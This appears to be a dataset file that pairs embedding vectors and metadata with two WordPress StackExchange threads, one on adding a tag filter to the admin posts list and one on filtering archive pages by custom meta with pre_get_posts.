-0.038848876953125,
-0.035919189453125,
-0.01238250732421875,
-0.032257080078125,
-0.02252197265625,
0.02215576171875,
0.0284576416015625,
0.0219573974609375,
0.0155487060546875,
-0.0321044921875,
-0.01140594482421875,
-0.01117706298828125,
-0.00791168212890625,
-0.0016603469848632812,
0.0032215118408203125,
-0.0122528076171875,
-0.059722900390625,
-0.013763427734375,
-0.0166168212890625,
0.002025604248046875,
0.0085601806640625,
-0.0008907318115234375,
-0.0229644775390625,
-0.01849365234375,
0.03802490234375,
0.00732421875,
0.00882720947265625,
0.0271453857421875,
0.017303466796875,
-0.006000518798828125,
0.00939178466796875,
-0.020355224609375,
0.04632568359375,
-0.055450439453125,
-0.0204620361328125,
0.032684326171875,
-0.01340484619140625,
-0.017303466796875,
-0.0699462890625,
-0.0110626220703125,
-0.03289794921875,
0.0256805419921875,
0.026397705078125,
0.0159454345703125,
0.0638427734375,
-0.0174560546875,
-0.053558349609375,
0.06878662109375,
-0.006549835205078125,
-0.0360107421875,
-0.01230621337890625,
0.0167999267578125,
-0.012481689453125,
0.0167236328125,
-0.0009784698486328125,
-0.0157623291015625,
0.004413604736328125,
0.0105438232421875,
0.01824951171875,
0.0848388671875,
-0.0157623291015625,
0.04693603515625,
-0.031585693359375,
0.035308837890625,
-0.0215606689453125,
0.0006961822509765625,
-0.0021381378173828125,
-0.00600433349609375,
0.028900146484375,
0.028594970703125,
-0.020111083984375,
0.01361846923828125,
0.015472412109375,
-0.016204833984375,
0.01012420654296875,
-0.07305908203125,
-0.0325927734375,
-0.032012939453125,
0.0197601318359375,
0.0194854736328125,
0.020263671875,
-0.01544952392578125,
-0.038330078125,
-0.03497314453125,
0.012481689453125,
-0.027862548828125,
0.0005507469177246094,
-0.07647705078125,
-0.0277862548828125,
0.003299713134765625,
-0.0238494873046875,
0.0122528076171875,
-0.0231781005859375,
-0.03546142578125,
0.00628662109375,
-0.01548004150390625,
-0.0209503173828125,
-0.0023059844970703125,
0.019134521484375,
0.041046142578125,
-0.06353759765625,
-0.06585693359375,
0.004611968994140625,
0.00616455078125,
-0.04779052734375,
-0.07220458984375,
-0.0025787353515625,
0.0008502006530761719,
0.00870513916015625,
0.04486083984375,
0.017730712890625,
0.0235748291015625,
-0.01218414306640625,
-0.012237548828125,
-0.02392578125,
0.007061004638671875,
0.011138916015625,
-0.019287109375,
-0.01262664794921875,
0.0224151611328125,
0.0177154541015625,
0.0396728515625,
-0.0187530517578125,
0.0096435546875,
-0.0286407470703125,
0.0302886962890625,
0.01021575927734375,
0.0013294219970703125,
0.036651611328125,
-0.00682830810546875,
0.005828857421875,
0.0186614990234375,
0.018463134765625,
0.006671905517578125,
0.0205230712890625,
0.0316162109375,
-0.00003266334533691406,
0.0031948089599609375
] |
e2cb53f97a25d3cb70061d8c9573a0199d2518e4
|
Wordpress Stackexchange
Q: Add filter-by-tag in the all posts admin console page By default the 'all posts' page contains the following filters
*
*by date
*by category
Is there a way I can add 'by tags' as well ?
A: User 'restrict_manage_posts' filter to add another filter. Use the following code in functions.php
function kc_add_taxonomy_filters() {
global $typenow;
// an array of all the taxonomyies you want to display. Use the taxonomy name or slug
$my_taxonomies = array( 'post_tag' );
switch($typenow){
case 'post':
foreach ($my_taxonomies as $tax_slug) {
$tax_obj = get_taxonomy($tax_slug);
$tax_name = $tax_obj->labels->name;
$terms = get_terms($tax_slug);
if(count($terms) > 0) {
echo "<select name='$tax_slug' id='$tax_slug' class='postform alignleft actions'>";
echo "<option value=''>Show All $tax_name</option>";
foreach ($terms as $term) {
echo '<option value="', $term->slug,'" ',selected( @$_GET[$tax_slug] == $term->slug , $current = true, $echo = false ) , '>' , $term->name ,' (' , $term->count ,')</option>';
}
echo "</select>";
}
}
break;
}
}
add_action( 'restrict_manage_posts', 'kc_add_taxonomy_filters' );
|
Q: Add filter-by-tag in the all posts admin console page By default the 'all posts' page contains the following filters
*
*by date
*by category
Is there a way I can add 'by tags' as well ?
A: User 'restrict_manage_posts' filter to add another filter. Use the following code in functions.php
function kc_add_taxonomy_filters() {
global $typenow;
// an array of all the taxonomyies you want to display. Use the taxonomy name or slug
$my_taxonomies = array( 'post_tag' );
switch($typenow){
case 'post':
foreach ($my_taxonomies as $tax_slug) {
$tax_obj = get_taxonomy($tax_slug);
$tax_name = $tax_obj->labels->name;
$terms = get_terms($tax_slug);
if(count($terms) > 0) {
echo "<select name='$tax_slug' id='$tax_slug' class='postform alignleft actions'>";
echo "<option value=''>Show All $tax_name</option>";
foreach ($terms as $term) {
echo '<option value="', $term->slug,'" ',selected( @$_GET[$tax_slug] == $term->slug , $current = true, $echo = false ) , '>' , $term->name ,' (' , $term->count ,')</option>';
}
echo "</select>";
}
}
break;
}
}
add_action( 'restrict_manage_posts', 'kc_add_taxonomy_filters' );
A: With absolutely no help whatsoever from this community and it's ridiculous reputation rules, I have worked out how to amend the above code so that it works properly.
The following code needs to go into wp-includes/functions.php. Notice that I have hardcoded the select name to be tag, which appears to be how the WP filter query string works now.
function kc_add_taxonomy_filters() {
global $typenow;
// an array of all the taxonomyies you want to display. Use the taxonomy name or slug
$my_taxonomies = array( 'post_tag' );
switch($typenow){
case 'post':
foreach ($my_taxonomies as $tax_slug) {
$tax_obj = get_taxonomy($tax_slug);
$tax_name = $tax_obj->labels->name;
$terms = get_terms($tax_slug);
if(count($terms) > 0) {
echo "<select name='tag' id='$tax_slug' class='postform alignleft actions'>";
echo "<option value=''>Show All $tax_name</option>";
foreach ($terms as $term) {
echo '<option value="', $term->slug,'" ',selected( @$_GET[$tax_slug] == $term->slug , $current = true, $echo = false ) , '>' , $term->name ,' (' , $term->count ,')</option>';
}
echo "</select>";
}
}
break;
}
}
Then the action needs to go into your theme functions.php file (wp-content/themes/YOURTHEME/functions.php
add_action( 'restrict_manage_posts', 'kc_add_taxonomy_filters' );
|
wordpress
|
{
"language": "en",
"length": 327,
"provenance": "stackexchange_00019.jsonl.gz:436690",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112909"
}
|
[
0.07061767578125,
-0.0091094970703125,
0.0182647705078125,
-0.060394287109375,
0.032318115234375,
-0.02001953125,
0.046600341796875,
0.006072998046875,
0.01727294921875,
0.02252197265625,
-0.0285186767578125,
-0.0037326812744140625,
0.0036296844482421875,
-0.0209503173828125,
-0.021026611328125,
-0.017425537109375,
0.0268707275390625,
-0.053436279296875,
-0.0077056884765625,
-0.0138702392578125,
-0.0015707015991210938,
0.01056671142578125,
0.0253143310546875,
0.035369873046875,
0.0261077880859375,
0.0076751708984375,
0.0220489501953125,
-0.044464111328125,
0.0192718505859375,
-0.024444580078125,
0.0033779144287109375,
-0.01238250732421875,
0.0230865478515625,
0.007358551025390625,
-0.0088043212890625,
0.03948974609375,
0.002101898193359375,
0.0021839141845703125,
0.0223388671875,
0.0085601806640625,
0.0206146240234375,
-0.0115509033203125,
-0.0272674560546875,
0.06072998046875,
-0.0433349609375,
-0.050140380859375,
0.0217437744140625,
-0.00585174560546875,
0.0192718505859375,
0.0203857421875,
0.0294189453125,
0.00868988037109375,
0.0285491943359375,
-0.0171051025390625,
-0.0104827880859375,
0.0025501251220703125,
-0.00609588623046875,
0.01050567626953125,
0.0226898193359375,
0.0030670166015625,
-0.031982421875,
-0.004913330078125,
0.00632476806640625,
-0.037872314453125,
0.002162933349609375,
0.0176544189453125,
0.035980224609375,
0.0007185935974121094,
-0.06585693359375,
0.0239105224609375,
0.056304931640625,
-0.054290771484375,
0.0253143310546875,
-0.0240325927734375,
0.01873779296875,
-0.04510498046875,
-0.005523681640625,
-0.02911376953125,
0.0265045166015625,
0.004108428955078125,
0.0221405029296875,
-0.0207366943359375,
-0.01849365234375,
0.0303497314453125,
-0.032440185546875,
0.015228271484375,
-0.01074981689453125,
-0.01169586181640625,
-0.0029239654541015625,
-0.034515380859375,
-0.007171630859375,
0.00296783447265625,
-0.048858642578125,
0.0142059326171875,
0.0162811279296875,
-0.042694091796875,
0.0188751220703125,
0.03289794921875,
0.001850128173828125,
-0.00457763671875,
-0.00698089599609375,
-0.036468505859375,
-0.01428985595703125,
-0.01861572265625,
0.013519287109375,
0.042877197265625,
-0.03082275390625,
0.0687255859375,
0.0869140625,
0.037994384765625,
0.037109375,
0.03851318359375,
-0.027130126953125,
0.006366729736328125,
-0.0287933349609375,
-0.018707275390625,
-0.06549072265625,
-0.01351165771484375,
-0.0205535888671875,
-0.0213165283203125,
0.019012451171875,
0.0230865478515625,
0.0167083740234375,
-0.04022216796875,
-0.005069732666015625,
-0.0121002197265625,
-0.04229736328125,
-0.048492431640625,
0.0228729248046875,
-0.0038928985595703125,
-0.00872802734375,
0.01812744140625,
0.032989501953125,
0.0223541259765625,
-0.00435638427734375,
0.0012149810791015625,
0.00672149658203125,
-0.03485107421875,
-0.0217437744140625,
0.0004420280456542969,
0.0206298828125,
0.00215911865234375,
0.0008182525634765625,
-0.01113128662109375,
0.019989013671875,
0.01171112060546875,
0.01019287109375,
0.003269195556640625,
0.0279388427734375,
-0.013885498046875,
-0.01088714599609375,
-0.007236480712890625,
0.0712890625,
0.0007305145263671875,
-0.10162353515625,
0.00608062744140625,
-0.001445770263671875,
-0.00902557373046875,
-0.06170654296875,
-0.060546875,
0.0102691650390625,
-0.00113677978515625,
-0.0033054351806640625,
-0.03985595703125,
-0.0574951171875,
0.002475738525390625,
-0.03143310546875,
-0.006683349609375,
0.024139404296875,
-0.0232696533203125,
0.0191650390625,
0.00711822509765625,
0.0379638671875,
-0.00992584228515625,
-0.00958251953125,
0.0064239501953125,
-0.0178680419921875,
0.02581787109375,
0.033966064453125,
0.0138397216796875,
-0.0033855438232421875,
-0.030914306640625,
0.046600341796875,
-0.008026123046875,
-0.04547119140625,
-0.016357421875,
0.0127105712890625,
0.016204833984375,
0.02337646484375,
0.01107025146484375,
0.054229736328125,
0.009979248046875,
-0.02178955078125,
-0.01230621337890625,
0.007587432861328125,
-0.023345947265625,
-0.004291534423828125,
-0.01580810546875,
0.00681304931640625,
0.00685882568359375,
0.005123138427734375,
-0.008697509765625,
-0.004306793212890625,
0.0028743743896484375,
-0.0195465087890625,
-0.0193023681640625,
0.0033740997314453125,
0.0194549560546875,
-0.0303802490234375,
0.008331298828125,
0.0307159423828125,
-0.0309295654296875,
-0.03936767578125,
0.039794921875,
-0.00921630859375,
-0.008575439453125,
-0.006252288818359375,
-0.01165008544921875,
0.0176239013671875,
-0.0003578662872314453,
0.04541015625,
0.0040130615234375,
0.01267242431640625,
0.0038013458251953125,
0.039703369140625,
0.012481689453125,
-0.02008056640625,
-0.0122833251953125,
-0.004482269287109375,
0.036102294921875,
-0.060638427734375,
0.0202789306640625,
0.032806396484375,
0.00894927978515625,
-0.02154541015625,
0.0178680419921875,
0.029144287109375,
-0.0572509765625,
-0.0079345703125,
0.0301971435546875,
0.01467132568359375,
0.05523681640625,
-0.0015916824340820312,
0.015838623046875,
0.088623046875,
-0.033843994140625,
-0.004730224609375,
0.017974853515625,
-0.0008678436279296875,
0.041046142578125,
0.0028820037841796875,
0.0465087890625,
0.02386474609375,
0.0106353759765625,
0.02874755859375,
0.05126953125,
-0.0369873046875,
-0.040679931640625,
0.0203857421875,
-0.01300048828125,
0.01387786865234375,
-0.052825927734375,
-0.0265045166015625,
-0.0137176513671875,
0.0005283355712890625,
0.004344940185546875,
0.0185089111328125,
0.007049560546875,
-0.0154876708984375,
-0.013458251953125,
0.025970458984375,
0.0011701583862304688,
0.01195526123046875,
0.017791748046875,
-0.016876220703125,
-0.006671905517578125,
-0.0341796875,
0.0108489990234375,
-0.0100860595703125,
-0.0020923614501953125,
-0.010589599609375,
0.045867919921875,
0.04156494140625,
-0.005077362060546875,
-0.0088043212890625,
-0.056640625,
0.025848388671875,
-0.0101165771484375,
-0.045501708984375,
-0.069091796875,
-0.020904541015625,
0.00799560546875,
-0.054534912109375,
0.04376220703125,
-0.0016307830810546875,
-0.0305023193359375,
-0.005924224853515625,
-0.0221099853515625,
0.0123443603515625,
-0.01171875,
0.045623779296875,
0.05047607421875,
0.0026493072509765625,
0.00984954833984375,
0.007648468017578125,
-0.04339599609375,
-0.00966644287109375,
-0.006011962890625,
-0.02972412109375,
-0.035491943359375,
-0.040771484375,
0.036163330078125,
-0.00180816650390625,
-0.0120086669921875,
-0.02691650390625,
-0.0548095703125,
-0.0439453125,
-0.03448486328125,
-0.0946044921875,
-0.0160980224609375,
-0.04583740234375,
-0.03814697265625,
-0.0003330707550048828,
-0.01248931884765625,
-0.0216522216796875,
0.01033782958984375,
-0.0013265609741210938,
0.01306915283203125,
-0.00772857666015625,
-0.0211639404296875,
-0.0012989044189453125,
-0.03131103515625,
-0.0260772705078125,
0.019378662109375,
0.01422119140625,
-0.005702972412109375,
0.023468017578125,
0.0999755859375,
0.0277557373046875,
-0.07196044921875,
0.033355712890625,
-0.0245819091796875,
-0.036468505859375,
0.0760498046875,
-0.00048804283142089844,
-0.032928466796875,
0.0184783935546875,
-0.01168060302734375,
0.049835205078125,
0.020751953125,
-0.017730712890625,
0.0167236328125,
-0.0007834434509277344,
-0.0030612945556640625,
0.0043182373046875,
0.01271820068359375,
0.0013685226440429688,
-0.0233306884765625,
0.01171112060546875,
-0.0372314453125,
0.0193939208984375,
-0.00547027587890625,
-0.004993438720703125,
-0.001308441162109375,
-0.0145416259765625,
-0.0107421875,
0.0257110595703125,
-0.025604248046875,
-0.0248565673828125,
-0.00823211669921875,
0.01064300537109375,
-0.01678466796875,
-0.0146636962890625,
-0.01378631591796875,
-0.0142364501953125,
0.006702423095703125,
-0.023101806640625,
-0.0281219482421875,
0.0308990478515625,
-0.01114654541015625,
0.0242767333984375,
0.019134521484375,
0.0029582977294921875,
-0.0062103271484375,
-0.0706787109375,
0.04296875,
-0.027923583984375,
-0.00571441650390625,
-0.06561279296875,
-0.0267486572265625,
-0.031402587890625,
0.06060791015625,
-0.035064697265625,
-0.006099700927734375,
-0.0134735107421875,
-0.021484375,
0.056732177734375,
0.0001481771469116211,
-0.020355224609375,
-0.039642333984375,
-0.09478759765625,
0.0020885467529296875,
-0.00957489013671875,
-0.0285491943359375,
-0.016021728515625,
-0.011627197265625,
-0.06378173828125,
-0.0328369140625,
0.03204345703125,
-0.054443359375,
0.019012451171875,
-0.0014667510986328125,
-0.0182342529296875,
-0.0043487548828125,
-0.036712646484375,
-0.039520263671875,
-0.06756591796875,
-0.005985260009765625,
-0.0114288330078125,
0.0280914306640625,
0.002223968505859375,
0.0116424560546875,
-0.0028018951416015625,
0.03863525390625,
0.041046142578125,
0.00888824462890625,
0.0217132568359375,
-0.0100860595703125,
0.0101776123046875,
-0.040557861328125,
-0.002208709716796875,
-0.038787841796875,
-0.039825439453125,
-0.046051025390625,
0.016845703125,
0.016265869140625,
-0.0196990966796875,
0.022247314453125,
-0.0291595458984375,
0.013763427734375,
-0.0625,
-0.024200439453125,
-0.0260009765625,
-0.039642333984375,
-0.035736083984375,
-0.008575439453125,
0.0010128021240234375,
-0.057403564453125,
0.05194091796875,
-0.004238128662109375,
-0.01386260986328125,
0.0015001296997070312,
0.096435546875,
0.0169219970703125,
-0.012237548828125,
-0.0518798828125,
0.01397705078125,
0.031219482421875,
-0.0248260498046875,
0.04156494140625,
0.020904541015625,
-0.00849151611328125,
0.022247314453125,
-0.0064544677734375,
-0.027008056640625,
-0.0517578125,
0.0655517578125,
0.002857208251953125,
-0.0019588470458984375,
-0.00347900390625,
-0.0298004150390625,
0.0743408203125,
-0.006183624267578125,
-0.0316162109375,
-0.00551605224609375,
-0.04296875,
0.04296875,
0.0169525146484375,
0.038787841796875,
-0.04644775390625,
-0.02734375,
0.01554107666015625,
-0.0338134765625,
0.03692626953125,
0.0179290771484375,
0.00449371337890625,
0.00867462158203125,
0.002445220947265625,
0.00908660888671875,
-0.038909912109375,
0.02020263671875,
-0.0166778564453125,
0.0390625,
-0.0187530517578125,
0.01221466064453125,
-0.040771484375,
0.003902435302734375,
-0.00997161865234375,
-0.021331787109375,
-0.049652099609375,
0.006000518798828125,
0.003803253173828125,
0.029296875,
0.038482666015625,
-0.01751708984375,
0.0185089111328125,
0.0203399658203125,
0.0008001327514648438,
-0.000690460205078125,
-0.030029296875,
0.0147552490234375,
-0.0347900390625,
0.0399169921875,
0.0171966552734375,
0.00279998779296875,
0.0309600830078125,
0.041259765625,
0.0019969940185546875,
0.027984619140625,
-0.016998291015625,
0.0154266357421875,
0.023040771484375,
0.0124664306640625,
0.02838134765625,
-0.0203399658203125,
-0.006381988525390625,
0.01383209228515625,
0.00685882568359375,
-0.0053253173828125,
0.006664276123046875,
-0.0199432373046875,
-0.0047760009765625,
-0.0289306640625,
-0.0149688720703125,
0.045166015625,
-0.01049041748046875,
-0.0243377685546875,
-0.0139923095703125,
-0.0037937164306640625,
0.0028228759765625,
-0.014129638671875,
0.01251220703125,
0.0199432373046875,
0.0206756591796875,
0.00881195068359375,
0.045928955078125,
0.01056671142578125,
0.0487060546875,
-0.0217742919921875,
0.019744873046875,
-0.033599853515625,
-0.01531982421875,
0.01751708984375,
-0.0059356689453125,
-0.01316070556640625,
-0.0219879150390625,
-0.021820068359375,
-0.001049041748046875,
-0.00528717041015625,
0.057708740234375,
-0.01294708251953125,
0.05133056640625,
-0.021087646484375,
-0.041748046875,
-0.0111541748046875,
0.001583099365234375,
0.0504150390625,
0.04193115234375,
-0.0310516357421875,
0.004070281982421875,
-0.045745849609375,
-0.01033782958984375,
-0.001926422119140625,
-0.01340484619140625,
-0.0181884765625,
-0.01358795166015625,
0.01068878173828125,
0.0234375,
0.00428009033203125,
-0.03179931640625,
-0.0182952880859375,
-0.0182342529296875,
0.02825927734375,
0.016143798828125,
0.01190948486328125,
0.03167724609375,
-0.0040130615234375,
0.0249786376953125,
0.00681304931640625,
-0.030059814453125,
-0.049652099609375,
0.0037689208984375,
-0.0273284912109375,
-0.1192626953125,
-0.0252532958984375,
0.039947509765625,
-0.08349609375,
0.09576416015625,
0.0750732421875,
0.006031036376953125,
0.024658203125,
-0.002437591552734375,
-0.0015316009521484375,
-0.0034427642822265625,
-0.033935546875,
0.009033203125,
-0.00011712312698364258,
0.0633544921875,
0.0076904296875,
0.01715087890625,
-0.0531005859375,
0.001705169677734375,
0.037933349609375,
-0.0274810791015625,
0.046051025390625,
-0.017181396484375,
-0.049560546875,
0.0677490234375,
0.05865478515625,
0.0229034423828125,
0.036376953125,
0.00576019287109375,
0.023834228515625,
-0.0158843994140625,
-0.0294342041015625,
-0.0009503364562988281,
-0.00008726119995117188,
0.044525146484375,
-0.01318359375,
0.0088653564453125,
0.041595458984375,
-0.017333984375,
-0.0174102783203125,
0.053009033203125,
0.018096923828125,
-0.06866455078125,
-0.00482177734375,
0.004367828369140625,
-0.01213836669921875,
-0.025909423828125,
0.0279541015625,
-0.0216064453125,
-0.0161285400390625,
-0.0012674331665039062,
0.0005202293395996094,
-0.01261138916015625,
0.013519287109375,
0.0286102294921875,
-0.005313873291015625,
-0.006317138671875,
0.06427001953125,
0.0096282958984375,
-0.00223541259765625,
-0.0223846435546875,
0.006015777587890625,
-0.015777587890625,
-0.0245819091796875,
0.01092529296875,
-0.032470703125,
-0.01922607421875,
-0.04962158203125,
-0.01013946533203125,
-0.0111083984375,
0.008148193359375,
0.0269622802734375,
0.005069732666015625,
-0.0171356201171875,
0.0286865234375,
-0.0177001953125,
-0.0012502670288085938,
0.0014057159423828125,
-0.04815673828125,
-0.0303802490234375,
-0.004444122314453125,
-0.0246124267578125,
0.01763916015625,
0.0272369384765625,
0.0123138427734375,
-0.01201629638671875,
-0.0019388198852539062,
-0.0111236572265625,
-0.022552490234375,
0.0307464599609375,
-0.0013055801391601562,
-0.031585693359375,
0.0304107666015625,
0.002346038818359375,
-0.00931549072265625,
0.01372528076171875,
0.00753021240234375,
-0.043670654296875,
-0.027618408203125,
0.01413726806640625,
-0.039764404296875,
-0.00672149658203125,
0.004871368408203125,
-0.0821533203125,
0.1383056640625,
-0.0040740966796875,
0.03570556640625,
-0.00873565673828125,
0.060791015625,
-0.029571533203125,
0.0283966064453125,
-0.039642333984375,
0.04425048828125,
0.021636962890625,
0.0131988525390625,
-0.05072021484375,
-0.001758575439453125,
-0.0122833251953125,
0.03131103515625,
0.050689697265625,
0.00884246826171875,
-0.019561767578125,
-0.01171112060546875,
0.043243408203125,
0.01505279541015625,
-0.0289764404296875,
0.03515625,
0.0055694580078125,
0.023345947265625,
0.040740966796875,
-0.0206146240234375,
0.0295867919921875,
-0.003814697265625,
-0.01509857177734375,
0.04541015625,
-0.010162353515625,
0.0140228271484375,
-0.00958251953125,
-0.0323486328125,
-0.0029468536376953125,
-0.00899505615234375,
-0.0015993118286132812,
-0.052490234375,
0.00328826904296875,
0.028472900390625,
0.0153350830078125,
-0.06903076171875,
-0.03582763671875,
-0.0241546630859375,
0.0340576171875,
-0.004486083984375,
0.01204681396484375,
0.025482177734375,
0.017059326171875,
0.0181427001953125,
-0.0219573974609375,
0.01352691650390625,
0.0014200210571289062,
-0.0198211669921875,
0.0162506103515625,
-0.005603790283203125,
0.01508331298828125,
-0.042755126953125,
0.0273590087890625,
0.035858154296875,
0.0235595703125,
-0.031280517578125,
-0.01959228515625,
0.012969970703125,
0.01026153564453125,
-0.0183868408203125,
0.03790283203125,
0.018035888671875,
0.0318603515625,
0.06280517578125,
-0.09014892578125,
-0.01462554931640625,
0.0209808349609375,
0.0333251953125,
-0.029327392578125,
-0.03533935546875,
0.00525665283203125,
-0.0223236083984375,
-0.077880859375,
0.004215240478515625,
0.04388427734375,
0.1060791015625,
0.02569580078125,
0.07696533203125,
-0.0251007080078125,
-0.04547119140625,
-0.014678955078125,
0.0020923614501953125,
0.01447296142578125,
-0.006195068359375,
-0.00799560546875,
0.01343536376953125,
-0.014739990234375,
0.0195770263671875,
0.020904541015625,
0.0294036865234375,
0.03240966796875,
0.020904541015625,
0.0038509368896484375,
0.0012712478637695312,
0.03192138671875,
-0.0240631103515625,
0.0131988525390625,
-0.034088134765625,
0.024810791015625,
0.0262298583984375,
-0.005733489990234375,
-0.0002720355987548828,
-0.0208892822265625,
0.0704345703125,
-0.03814697265625,
0.0217132568359375,
-0.0063629150390625,
-0.040191650390625,
0.036712646484375,
0.00580596923828125,
0.05926513671875,
-0.003620147705078125,
-0.09197998046875,
0.0059356689453125,
-0.050445556640625,
-0.08319091796875,
0.04180908203125,
0.037506103515625,
-0.0308990478515625,
0.0169219970703125,
0.05633544921875,
-0.049774169921875,
0.025909423828125,
0.0294036865234375,
0.01873779296875,
0.006206512451171875,
0.004520416259765625,
-0.01161956787109375,
0.00412750244140625,
0.02716064453125,
0.01007843017578125,
-0.002735137939453125,
0.0046844482421875,
0.046905517578125,
-0.0018377304077148438,
0.005352020263671875,
-0.042694091796875,
-0.003231048583984375,
-0.0171661376953125,
-0.0234222412109375,
0.036834716796875,
0.018829345703125,
-0.0265350341796875,
-0.0130462646484375,
-0.016876220703125,
-0.01065826416015625,
0.046417236328125,
-0.06781005859375,
-0.006237030029296875,
-0.01079559326171875,
0.006557464599609375,
-0.040191650390625,
0.0977783203125,
0.0034236907958984375,
0.00858306884765625,
-0.0372314453125,
-0.0400390625,
0.06414794921875,
0.07525634765625,
0.0355224609375,
0.027435302734375,
0.004241943359375,
0.0245208740234375,
0.0033664703369140625,
0.0174407958984375,
-0.0035305023193359375,
0.024566650390625,
-0.05487060546875,
0.0145721435546875,
0.01445770263671875,
0.0003387928009033203,
0.024139404296875,
0.02532958984375,
-0.036834716796875,
0.02960205078125,
0.020782470703125,
-0.0076751708984375,
0.0130767822265625,
0.03643798828125,
-0.0246429443359375,
0.02099609375,
-0.0036869049072265625,
-0.003414154052734375,
-0.01446533203125,
0.0062408447265625,
-0.03857421875,
-0.032989501953125,
-0.022705078125,
0.0009036064147949219,
-0.020263671875,
-0.0782470703125,
-0.07196044921875,
0.01230621337890625,
0.040252685546875,
-0.01187896728515625,
-0.00524139404296875,
0.0010690689086914062,
-0.0281219482421875,
0.03692626953125,
-0.0012722015380859375,
0.021270751953125,
-0.01554107666015625,
-0.027923583984375,
-0.052886962890625,
0.0177459716796875,
-0.04998779296875,
-0.001018524169921875,
-0.0244598388671875,
0.006267547607421875,
0.01287078857421875,
-0.0300140380859375,
0.0028839111328125,
0.0154876708984375,
0.0295562744140625,
0.052825927734375,
0.024078369140625,
-0.0240020751953125,
0.0097198486328125,
0.00670623779296875,
-0.033447265625,
-0.06964111328125,
0.01123809814453125,
-0.04693603515625,
-0.020782470703125,
0.03167724609375,
-0.037628173828125,
-0.0034332275390625,
-0.03875732421875,
-0.08123779296875,
0.11419677734375,
-0.01026153564453125,
-0.022796630859375,
-0.076416015625,
-0.0130615234375,
0.01371002197265625,
-0.0135345458984375,
-0.02911376953125,
-0.01629638671875,
-0.057098388671875,
0.04534912109375,
0.0000565648078918457,
0.021392822265625,
0.016632080078125,
-0.022125244140625,
-0.0137481689453125,
0.0225830078125,
0.016021728515625,
0.006984710693359375,
0.0282135009765625,
-0.03778076171875,
0.0411376953125,
0.0269317626953125,
-0.046234130859375,
-0.01445770263671875,
-0.006443023681640625,
-0.0115814208984375,
-0.0014514923095703125,
-0.051116943359375,
-0.06512451171875,
-0.056793212890625,
0.08197021484375,
0.033172607421875,
0.038177490234375,
-0.0092315673828125,
-0.035308837890625,
-0.0279693603515625,
-0.033294677734375,
-0.0036029815673828125,
0.041839599609375,
-0.053802490234375,
0.0270233154296875,
0.00420379638671875,
-0.00010311603546142578,
0.0029582977294921875,
-0.01617431640625,
-0.01108551025390625,
-0.0164337158203125,
0.0023097991943359375,
0.00835418701171875,
-0.046478271484375,
0.042022705078125,
-0.047698974609375,
-0.00632476806640625,
-0.04083251953125,
-0.0318603515625,
-0.00827789306640625,
-0.06268310546875,
-0.038055419921875,
-0.052276611328125,
-0.03466796875,
0.0298004150390625,
0.0238037109375,
-0.01424407958984375,
0.006801605224609375,
0.01462554931640625,
0.03656005859375,
-0.0200347900390625,
0.019622802734375,
0.01203155517578125,
0.01073455810546875,
-0.0308685302734375,
0.047821044921875,
0.00963592529296875,
0.08587646484375,
0.0069427490234375,
0.031707763671875,
-0.0026607513427734375,
0.040924072265625,
0.001068115234375,
-0.02691650390625,
-0.0004646778106689453,
-0.002780914306640625,
-0.00824737548828125,
-0.01702880859375,
-0.035491943359375,
-0.04290771484375,
0.00547027587890625,
-0.0233001708984375,
-0.022369384765625,
0.0272216796875
] |
a0715c8aeabea8a7a3c55e4b33be6bcb9720d7ed
|
Wordpress Stackexchange
Q: Filter archive.php by custom meta I"m trying to filter an archive page by custom meta query.
I've tried using query_posts($args) prior to the loop, but it returns nothing.
Any ideas?
Here's what I have so far:
<?php
//$wolfName = $_GET['wolfName'];
$archiveArgs = array(
'meta_key' => 'wolf',
'meta_value' => 'boltz'
);
query_posts($archiveArgs);
?>
<?php if (have_posts()) : ?>
It returns no posts... any ideas?
A: Use pre_get_posts action hook
function archive_meta_query( $query ) {
if ( $query->is_archive){
$query->query_vars["meta_key"] = 'wolf';
$query->query_vars["meta_value"] = 'boltz';
}
}
add_action( 'pre_get_posts', 'archive_meta_query', 1 );
|
Q: Filter archive.php by custom meta I"m trying to filter an archive page by custom meta query.
I've tried using query_posts($args) prior to the loop, but it returns nothing.
Any ideas?
Here's what I have so far:
<?php
//$wolfName = $_GET['wolfName'];
$archiveArgs = array(
'meta_key' => 'wolf',
'meta_value' => 'boltz'
);
query_posts($archiveArgs);
?>
<?php if (have_posts()) : ?>
It returns no posts... any ideas?
A: Use pre_get_posts action hook
function archive_meta_query( $query ) {
if ( $query->is_archive){
$query->query_vars["meta_key"] = 'wolf';
$query->query_vars["meta_value"] = 'boltz';
}
}
add_action( 'pre_get_posts', 'archive_meta_query', 1 );
A: thanks for ur code Strik3r ..this helped me a lot..I finally got sorting by custom field to work...in functions.php
function sort_meta_query( $query ) {
if ( $query->is_archive || $query->is_category || $query->is_home ){
$query->query_vars["meta_key"] = 'fastest_speed_experienced';
$query->query_vars["orderby"] = 'meta_value_num';
}
}
add_action( 'pre_get_posts', 'sort_meta_query', 1 );
|
wordpress
|
{
"language": "en",
"length": 136,
"provenance": "stackexchange_00019.jsonl.gz:436710",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112957"
}
|
[
0.045623779296875,
0.0051422119140625,
0.04058837890625,
0.037628173828125,
0.00493621826171875,
-0.0205841064453125,
0.103271484375,
-0.04534912109375,
0.01528167724609375,
0.04656982421875,
0.00008940696716308594,
-0.036376953125,
0.0235443115234375,
-0.028167724609375,
-0.03277587890625,
-0.0233917236328125,
0.025543212890625,
-0.010467529296875,
0.027984619140625,
-0.00791168212890625,
0.0244903564453125,
0.005344390869140625,
0.035369873046875,
0.001739501953125,
0.03167724609375,
0.0015354156494140625,
0.08074951171875,
-0.0205230712890625,
0.04522705078125,
0.0076141357421875,
0.0238037109375,
-0.060760498046875,
0.0174102783203125,
-0.0013980865478515625,
0.044952392578125,
0.0242156982421875,
0.0008258819580078125,
0.00774383544921875,
0.03515625,
-0.00861358642578125,
0.0169219970703125,
-0.00567626953125,
-0.01372528076171875,
0.01418304443359375,
-0.00881195068359375,
-0.038543701171875,
0.013946533203125,
-0.04022216796875,
0.0146331787109375,
-0.0179290771484375,
-0.0085601806640625,
0.03802490234375,
-0.0067596435546875,
-0.034393310546875,
0.006473541259765625,
0.00870513916015625,
0.0106353759765625,
0.00634765625,
0.036529541015625,
-0.05291748046875,
-0.04376220703125,
-0.01232147216796875,
0.037322998046875,
0.0174713134765625,
-0.007061004638671875,
-0.016143798828125,
-0.0016918182373046875,
0.0243072509765625,
-0.052337646484375,
-0.035308837890625,
0.0271148681640625,
